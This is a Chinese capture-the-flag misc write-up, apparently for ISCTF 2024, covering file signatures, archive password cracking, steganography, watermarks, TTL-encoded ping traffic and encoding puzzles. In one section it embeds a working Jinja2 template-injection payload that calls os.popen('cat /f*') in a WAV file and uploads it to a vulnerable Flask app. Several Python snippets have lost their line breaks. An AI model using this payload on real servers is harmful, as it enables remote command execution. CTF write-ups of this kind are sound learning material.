File_Format
下载附件后用010打开查看文件头会发现是个exe文件
格式:文件描述(后缀名),文件头(hex):文件头标识(十六进制)PNG (png),文件头(hex):89504E47
PNGImageFile (png), 文件头(hex):89504E470D0A
JPEG (jpg), 文件头(hex):FFD8FF
GIF (gif),文件头(hex):47494638
TIFF (tif),文件头(hex):49492A00
GzipArchiveFile (gz;tar;tgz), 文件头(hex):1F8B
AdobeAcrobat (pdf), 文件头(hex):255044462D312E
EXE(EXE), 文件头(hex):4D5A90
Windows Bitmap (bmp),文件头(hex):424D
CAD (dwg),文件头(hex):41433130
Adobe Photoshop (psd),文件头(hex):38425053
Rich Text Format (rtf),文件头(hex):7B5C727466
XML (xml),文件头(hex):3C3F786D6C
HTML (html),文件头(hex):68746D6C3E
Email [thorough only] (eml),文件头(hex):44656C69766572792D646174653A
Outlook Express (dbx),文件头(hex):CFAD12FEC5FD746F
Outlook (pst),文件头(hex):2142444E
MS Word/Excel (xls.or.doc),文件头(hex):D0CF11E0
MS Access (mdb),文件头(hex):5374616E64617264204A
WordPerfect (wpd),文件头(hex):FF575043
Postscript (eps.or.ps),文件头(hex):252150532D41646F6265
Adobe Acrobat (pdf),文件头(hex):255044462D312E
Quicken (qdf),文件头(hex):AC9EBD8F
Windows Password (pwl),文件头(hex):E3828596
ZIP Archive (zip),文件头(hex):504B0304
RAR Archive (rar),文件头(hex):52617221
Wave (wav),文件头(hex):57415645
AVI (avi),文件头(hex):41564920
Real Audio (ram),文件头(hex):2E7261FD
Real Media (rm),文件头(hex):2E524D46
MPEG (mpg),文件头(hex):000001BA
MPEG (mpg),文件头(hex):000001B3
Quicktime (mov),文件头(hex):6D6F6F76
Windows Media (asf),文件头(hex):3026B2758E66CF11
MIDI (mid),文件头(hex):4D546864
修改后缀名后得到
打开时会发现需要密码
在文件尾会发现有压缩包的痕迹,应该是需要压缩包爆破,因为没给别的东西了
将后缀更改为zip,然后进行爆破,在六位数爆破后得到密码241023
最后再次更改为exe,提取后得到flag
starry sky
解压后有三个附件,打开flag.txt会发现有串base64
居然解不出来,看到附件有xor,想到异或,应该是被处理过,码表有问题,但主题肯定是base64,尝试去处理那个png
打开后会发现是个base64转图片,转图片转不出来
解一下,会在末尾发现异或的key是FF,接下来用010进行异或操作
选择十六进制运算下的二进制异或
处理后发现是个wav文件,修改后缀后也听不出来是什么,去看了别人的wp知道要用到RX-sstv进行解密,但是在下载使用这个软件之前,要下载一个虚拟声卡,并且进行设置
SSTV音频转图片_rx-sstv-CSDN博客
这里附上具体操作链接
补充:
虚拟声卡e2eSoft
由于SSTV工具是根据音频传递图片信息,正常解法需要一台设备播放一台设备收音,所以需要一个虚拟声卡,还能避免杂音的干扰。
解密后得到密钥
DES解密得到flag
watermark
解压后得到三个附件
压缩包需要密码,那么肯定来自下面两个附件
可以看到key1是个文字水印
key2是张图片,根据题目来看应该是盲水印
用盲水印工具提取可以得到key2是64oRvUfta9yJsBv
用文本水印工具文本隐水印可以得到key1是FAAqDPjpgKJiB6m
合起来就是FAAqDPjpgKJiB6m64oRvUfta9yJsBv
解压后得到flag.txt
ctrl+f得到flag
像素圣战
打开得到一张倒置的图片,发现名字翻译成英文就想到pixeljihadPixelJihad,看描述里面有一个ISCTF,这个就是密码
得到一串二进制,要是图片是倒置的,那么二进制肯定也是,先用脚本翻转一下
def reverse_string(input_str):return input_str[::-1]# 示例使用
original_string = "10111110011011000011000110111111101100111101001110010110011101110001100100011111110101101101010011110011101001111010011011011111001100100101110111101100010010101110000111001011001001"
reversed_string = reverse_string(original_string)print("Original String:", original_string)
print("Reversed String:", reversed_string)
得到翻转后的二进制为
10010011010011100001110101001000110111101110100100110011111011011001011110010111001111001010110110101111111000100110001110111001101001110010111100110111111101100011000011011001111101
总共有182个字符,二进制一般是8的倍数,这里是7的倍数,所以在每七位前面补0,或者,直接用厨师设置就可以了
得到flag
奇怪的txt
解压以后发现是很多的txt文件,文件大小一致,而且内容也都是由base64加密以后的结果,这里猜测,可能是flag的值就在某一个文件的base64加密的数据里面,但是太多了,一个一个看不现实,考虑到可以用脚本,然后就会发现什么都没得到,拉了坨大的,后面通过题目提示和资料查找再结合别人的wp,发现会用到约瑟夫算法
def josephus_problem(n, k):# 创建一个列表来表示玩偶,编号从1到ndolls = list(range(1, n + 1))# 初始化当前索引为0(表示第一个玩偶)index = 0# 创建一个结果列表来存储移除玩偶的顺序result = []while dolls:# 计算下一个要移除的玩偶的索引index = (index + k - 1) % len(dolls)# 将该玩偶添加到结果列表中result.append(dolls.pop(index))return result# 示例使用
n = int(input("请输入玩偶的总数: "))
k = 7 # 固定的数到7
order = josephus_problem(n, k)
print("玩偶被移除的顺序是:", order)
运行后得到正确序列
7, 14, 21, 28, 35, 42, 49, 56, 63, 70, 77, 84, 91, 98, 105, 112, 119, 126, 133, 3, 11, 19, 27, 36, 44, 52, 60, 68, 76, 85, 93, 101, 109, 117, 125, 134, 5, 15, 24, 33, 43, 53, 62, 72, 81, 90, 100, 110, 120, 129, 1, 12, 23, 34, 46, 57, 67, 79, 89, 102, 113, 123, 135, 9, 22, 37, 48, 61, 74, 87, 99, 114, 127, 2, 17, 31, 47, 64, 78, 94, 107, 122, 137, 18, 38, 54, 71, 88, 106, 124, 6, 26, 45, 66, 86, 108, 130, 13, 39, 59, 83, 111, 132, 25, 51, 80, 104, 136, 30, 65, 96, 128, 29, 69, 103, 8, 50, 95, 4, 55, 115, 20, 82, 10, 75, 16, 97, 41, 131, 118, 116, 121, 40, 92, 32, 58, 73
然后依照这个顺序将txt文件中的字符合并
import os# 设置文件夹路径和输出文件路径
folder_path = "奇怪的txt"
output_file_path = "output_file.txt"# 给定字典,包含文件名和对应的数字顺序
file_order = {"7.txt": 1,"14.txt": 2,"21.txt": 3,"28.txt": 4,"35.txt": 5,"42.txt": 6,"49.txt": 7,"56.txt": 8,"63.txt": 9,"70.txt": 10,"77.txt": 11,"84.txt": 12,"91.txt": 13,"98.txt": 14,"105.txt": 15,"112.txt": 16,"119.txt": 17,"126.txt": 18,"133.txt": 19,"3.txt": 20,"11.txt": 21,"19.txt": 22,"27.txt": 23,"36.txt": 24,"44.txt": 25,"52.txt": 26,"60.txt": 27,"68.txt": 28,"76.txt": 29,"85.txt": 30,"93.txt": 31,"101.txt": 32,"109.txt": 33,"117.txt": 34,"125.txt": 35,"134.txt": 36,"5.txt": 37,"15.txt": 38,"24.txt": 39,"33.txt": 40,"43.txt": 41,"53.txt": 42,"62.txt": 43,"72.txt": 44,"81.txt": 45,"90.txt": 46,"100.txt": 47,"110.txt": 48,"120.txt": 49,"129.txt": 50,"1.txt": 51,"12.txt": 52,"23.txt": 53,"34.txt": 54,"46.txt": 55,"57.txt": 56,"67.txt": 57,"79.txt": 58,"89.txt": 59,"102.txt": 60,"113.txt": 61,"123.txt": 62,"135.txt": 63,"9.txt": 64,"22.txt": 65,"37.txt": 66,"48.txt": 67,"61.txt": 68,"74.txt": 69,"87.txt": 70,"99.txt": 71,"114.txt": 72,"127.txt": 73,"2.txt": 74,"17.txt": 75,"31.txt": 76,"47.txt": 77,"64.txt": 78,"78.txt": 79,"94.txt": 80,"107.txt": 81,"122.txt": 82,"137.txt": 83,"18.txt": 84,"38.txt": 85,"54.txt": 86,"71.txt": 87,"88.txt": 88,"106.txt": 89,"124.txt": 90,"6.txt": 91,"26.txt": 92,"45.txt": 93,"66.txt": 94,"86.txt": 95,"108.txt": 96,"130.txt": 97,"13.txt": 98,"39.txt": 99,"59.txt": 100,"83.txt": 101,"111.txt": 102,"132.txt": 103,"25.txt": 104,"51.txt": 105,"80.txt": 106,"104.txt": 107,"136.txt": 108,"30.txt": 109,"65.txt": 110,"96.txt": 111,"128.txt": 112,"29.txt": 113,"69.txt": 114,"103.txt": 115,"8.txt": 116,"50.txt": 117,"95.txt": 118,"4.txt": 119,"55.txt": 120,"115.txt": 121,"20.txt": 122,"82.txt": 123,"10.txt": 124,"75.txt": 125,"16.txt": 126,"97.txt": 127,"41.txt": 128,"131.txt": 129,"118.txt": 130,"116.txt": 131,"121.txt": 132,"40.txt": 133,"92.txt": 134,"32.txt": 135,"58.txt": 136,"73.txt": 137,
}# 对字典进行排序,根据数字顺序
sorted_files = sorted(file_order.items(), key=lambda x: x[1])# 打开输出文件,准备写入
with open(output_file_path, "w") as output_file:# 遍历排序后的字典for file_name, _ in sorted_files:# 构建完整的文件路径file_path = os.path.join(folder_path, file_name)# 确保是 txt 文件if file_path.endswith(".txt"):# 打开文件并读取内容with open(file_path, "r") as file:content = file.read()# 将内容写入输出文件output_file.write(content)# 输出文件已创建,内容已合并
然后会得到一个字符集,查看是base64,文件有点大,kimi写个脚本解码即可得到flag
import base64# 读取output_file.txt的内容,并将其编码为字节串
with open('output_file.txt', 'r', encoding='UTF-8') as f:Sstr = "".join(f.readlines()).encode('utf-8')src = Sstr
decoded_str = None # 用于存储最后一次成功解码的字符串while True:try:# 尝试解码src = base64.b64decode(src)# 如果解码成功,尝试将其解码为UTF-8字符串(这里可能抛出异常,如果解码后的数据不是有效的UTF-8)decoded_str = src.decode('utf-8')except (base64.binascii.Error, UnicodeDecodeError):# 如果捕获到base64解码错误或UTF-8解码错误,则退出循环break# 如果没有异常,则继续下一次迭代(但在这个例子中,由于我们解码后立即检查,所以实际上不需要continue)# 如果decoded_str不为None,则写入result.txt;否则,可能表示无法解码任何内容
if decoded_str is not None:with open('result.txt', 'w', encoding='utf-8') as file:file.write(decoded_str)print('ok')
else:print('Failed to decode any content.')
少女的秘密花园
解压后得到一张图片,用foremost分离文件
打开会得到一个zip
解压后得到的文件再次分离
得到一个压缩包,但是需要密码,爆破一下看看
得到密码
解压后的flag.txt中发现需要base64转图片
得到一张不全的盲文表,修改高后如图所示,对照盲文表得到JFJUGVCGPNBTA3LFL4YG4X3GOIZTK2DNGNXH2
解码得到flag
数字迷雾:在像素中寻找线索
照例丢进随波逐流,没想到一下就跑出来了,看了发现应该是lsb隐写
来自天外的信息
游园地1
直接百度识图就可以了
游园地2
这个通过识图就出不来了,后面是根据店铺山崎居酒屋找到的位置,问了朋友是圣地巡礼
【圣地巡礼攻略】江城——《高恋》《三恋》武汉篇 - 哔哩哔哩
神秘ping
解压后得到一个ping文件,发现有流量包信息,被倒置了
def reverse_file_bytes(input_file, output_file):try:with open(input_file, 'rb') as f: #以二进制读取模式打开输入文件file_bytes = f.read() #读取文件的全部内容到 file_bytes 变量中reversed_bytes = file_bytes[::-1] #这是一个 Python 切片技巧,用于反转字节序列with open(output_file, 'wb') as f: #以二进制写入模式打开输出文件f.write(reversed_bytes) #将反转后的字节写入输出文件except Exception as e:print(f"An error occurred: {e}")# 调用函数,输入文件为当前目录下的 'ping',输出文件为当前目录下的 'reversed_ping'
reverse_file_bytes('ping', 'reversed_ping')
用脚本恢复后拿wireshark打开
发现其中的ttl值分别有63、64、127、191、255组成,ttl为64的值是是返回的信息,⽤tshark提取ttl的值,会得到一个ttl的数据集合
tshark -r ping.pcap -Y "icmp" -T fields -e ip.ttl > ttl.txt
ttl_to_binary = {63: '00',127: '01',191: '10',255: '11'
}ttl_values = [127, 63, 127, 63, 127, 63, 63, 127, 127, 127, 63, 255, 127, 63, 63, 255, 127, 127, 127, 63,127, 63, 127, 191, 127, 255, 191, 255, 63, 255, 127, 191, 63, 255, 63, 191, 63, 255, 127, 255,63, 255, 191, 63, 63, 255, 127, 63, 63, 255, 191, 63, 127, 191, 63, 255, 63, 255, 63, 63, 63,191, 255, 127, 63, 255, 127, 255, 63, 255, 127, 127, 63, 255, 191, 127, 127, 191, 63, 255, 63,191, 255, 127, 63, 255, 63, 127, 63, 255, 63, 127, 127, 191, 127, 127, 127, 191, 127, 191, 63,191, 255, 127, 63, 255, 191, 127, 63, 255, 191, 127, 63, 255, 191, 127, 127, 191, 127, 191, 63,191, 255, 127, 63, 255, 63, 63, 63, 255, 63, 63, 63, 255, 63, 63, 127, 191, 63, 255, 63, 255, 63,191, 63, 255, 191, 127, 63, 255, 63, 63, 127, 191, 63, 255, 63, 255, 63, 127, 63, 255, 191, 127,63, 255, 127, 191, 127, 191, 127, 127, 127, 127, 255, 255, 127
] # 示例 TTL 列表def ttl_to_binary_string(ttl_values):binary_string = ''for ttl in ttl_values:if ttl in ttl_to_binary:binary_string += ttl_to_binary[ttl]return binary_stringdef binary_to_string(binary_string):chars = []for i in range(0, len(binary_string), 8):byte = binary_string[i:i+8]chars.append(chr(int(byte, 2)))return ''.join(chars)binary_data = ttl_to_binary_string(ttl_values)
print(f"bin: {binary_data}")decoded_message = binary_to_string(binary_data)
print(f"msg: {decoded_message}")
神秘的wav
打开环境是一个文件上传的页面,但是这是misc,肯定不会是文件上传,题目给了一个附件,可以尝试上传看看
给了一个base64编码
解码后是/source
访问得到一个脚本,脚本的ext函数定义了网页是如何解析wav文件,并作为输出此代码的核验标准
from flask import Flask, request, render_template, send_file, render_template_string
import wave
import osapp = Flask(__name__)UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
os.makedirs(UPLOAD_FOLDER, exist_ok=True)def ext(inp): //它打开WAV文件,读取所有帧,然后将帧转换为字节数组。接着,它提取每个字节的第二位(最低位),因为信息被隐藏在这里。然后,它将这些位重新组合成字符,直到遇到一个空字符('\x00'),这通常用作消息的结束标志.'''希望你能自己搓出脚本'''with wave.open(inp, 'rb') as wav:frames = wav.readframes(wav.getnframes())frames_array = bytearray(frames)message_bits = [str((frames_array[i] & 2) >> 1) for i in range(len(frames_array))]message = ''for i in range(0, len(message_bits), 8):byte = message_bits[i:i+8]char = chr(int(''.join(byte), 2))if char == '\x00':breakmessage += charreturn message@app.route('/', methods=['GET', 'POST'])
def upload_file():'''一位misc手在各个方向都要有所了解'''if request.method == 'POST':file = request.files['file']if file and file.filename.endswith('.wav'):filepath = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)file.save(filepath)message = ext(filepath)return render_template_string(message)else:return render_template_string("pls upload wav") //此处用render_template_string 打印回显。return render_template('upload.html')@app.route('/source', methods=['GET'])
def get_source():return send_file('app.py')if __name__ == '__main__':app.run(debug=True)
render_template_string 打印回显的内容,存在ssti漏洞,而且在这段代中并没有任何的过滤,我们可以将我们要利用的ssti用我们的到的wav解密脚本写一个加密脚本,加密我们的ssti的payload,再回到上传页面,将加密的wav上传
import wavedef hide_msg(inp, out, msg):with wave.open(inp, 'rb') as wav:params = wav.getparams()frames = wav.readframes(wav.getnframes())msg_bin = ''.join(format(ord(char), '08b') for char in msg)msg_bin += '00000000'frames_array = bytearray(frames)for i in range(len(msg_bin)):frames_array[i] = (frames_array[i] & 253) | (int(msg_bin[i]) << 1)with wave.open(out, 'wb') as out_wav: # 确保这里的变量名与打开文件的变量名一致out_wav.setparams(params)out_wav.writeframes(frames_array)# 调用函数,传入输入文件路径、输出文件路径和要隐藏的消息
hide_msg("inp.wav", "out.wav", "{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ == '_wrap_close'%}{%print i.__init__.__globals__['popen']('cat /f*').read()%}{%endif%}{%endfor%}")
得到flag
秘密
打开后发现压缩包需要解密,联系题目描述可以知道要用到oursecret,但是需要密码才行
打开010查看一下找到了密码同时发现这个压缩包是伪加密
修改加密位后得到这张图片
得到一个txt文件
打开后看到文字里肯定有什么东西,尝试文本隐写
乱码了,搜素发现应该是零宽字符解密
得到flag
老八奇怪自拍照
附件打开后得到一张图片
根据题目描述lsb,可以看到开头是zip文件
解压后得到另外一张图
010打开会看到有个1ScTf2024!根本不知道可以用来干什么,还是去看了别人的wp,发现是steghide,反正这个脑洞我是一点都有不起啊
得到flag
赢!rar
打开附件后发现压缩包需要密码,010查看不是伪加密,直接上爆破
发现不行
在010中找到密码
打开后会发现txt文件
仔细查看会发现123的修改时间与别的不一样
打开发现有一串编码
没想法了,去看了wp,发现应该是有个文件在解压过程,相关的文件因为某种原因被处理为了冗余文件,被清理了,或者说解压以后就在原文件夹里面把那个文件删除了,尝试用7z解压看看
可以发现有这个文件
xxencode解密得到flag